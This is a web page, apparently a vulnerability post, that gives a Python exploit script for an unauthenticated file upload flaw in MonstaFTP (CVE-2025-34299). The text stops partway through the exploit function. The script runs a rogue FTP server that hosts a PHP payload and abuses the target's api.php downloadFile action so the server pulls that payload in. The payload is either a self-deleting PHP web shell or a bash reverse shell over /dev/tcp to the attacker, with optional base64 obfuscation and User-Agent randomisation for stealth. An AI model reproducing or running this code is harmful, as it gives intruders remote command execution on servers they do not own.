MonstaFTP未认证文件上传漏洞(CVE-2025-34299)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

import argparse
import base64
import json
import os
import random
import requests
import socket
import string
import sys
import tempfile
import threading
import time
import urllib3
from pwn import remote
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

1
2
3
4

class ExploitFTPHandler(FTPHandler):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.banner = "FTP Server Ready"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

class Listener:
    def __init__(self, bind_host, bind_port):
        self.bind_host = bind_host
        self.bind_port = bind_port

    def start_listener(self):
        try:
            with socket.create_server((self.bind_host, self.bind_port)) as listener:
                print(f"[*] Listening on {self.bind_host}:{self.bind_port}...")
                listener.settimeout(1)
                while True:
                    try:
                        client, addr = listener.accept()
                        print(f"[+] Received connection from {addr[0]}:{addr[1]}")
                        client.settimeout(0.1)
                        self.handle_client(client)
                        break
                    except socket.timeout:
                        continue
        except Exception as e:
            print(f"[-] Failed to start listener: {e}")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

def generate_payload(lhost, lport, mode, encode=False):
    random_cmd = ''.join(random.choices(string.ascii_letters, k=6))
    
    if mode == "webshell":
        payload = f"<?php if(isset($_GET['{random_cmd}'])) {{system($_GET['{random_cmd}']);}} unlink(__FILE__); ?>"
    else:
        shell_cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'"
        if encode:
            encoded = base64.b64encode(shell_cmd.encode()).decode()
            payload = f"<?php $f=__FILE__; exec(base64_decode('{encoded}')); unlink($f); ?>"
        else:
            payload = f"<?php $f=__FILE__; exec(\"{shell_cmd}\"); unlink($f); ?>"
    
    return payload, random_cmd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

def start_ftp_server(host, port, lhost, lport, mode, encode):
    ftp_dir = tempfile.mkdtemp()
    random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.php'
    payload_file = os.path.join(ftp_dir, random_filename)
    
    payload, cmd_param = generate_payload(lhost, lport, mode, encode)
    
    with open(payload_file, 'wb') as f:
        f.write(payload.encode())
    
    user = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
    
    authorizer = DummyAuthorizer()
    authorizer.add_user(user, pwd, ftp_dir, perm="elradfmw")
    
    ExploitFTPHandler.authorizer = authorizer
    server = FTPServer((host, port), ExploitFTPHandler)
    server.max_connections = 256
    
    return server, ftp_dir, f"/{random_filename}", user, pwd, cmd_param

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

def exploit(target, host, port, lhost, lport, mode, stealth, encode):
    listener_thread = None
    
    if mode == "reverse":
        listener = Listener(lhost, lport)
        listener_thread = threading.Thread(target=listener.start_listener, daemon=False)
        listener_thread.start()
        time.sleep(1)
    
    server, ftp_dir, remote, user, pwd, cmd_param = start_ftp_server(host, port, lhost, lport, mode, encode)
    
    threading.Thread(target=server.serve_forever, daemon=True).start()
    time.sleep(1)
    
    local = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + '.php'
    
    api_url = f"{target.rstrip('/')}/application/api/api.php"
    request_data = {
        "connectionType": "ftp",
        "configuration": {
            "host": host,
            "username": user,
            "initialDirectory": "/",
            "password": pwd,
            "port": port
        },
        "actionName": "downloadFile",
        "context": {
            "remotePath": remote,
            "localPath": local
        }
    }
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": random.choice(USER_AGENTS) if stealth else "python-requests"
    }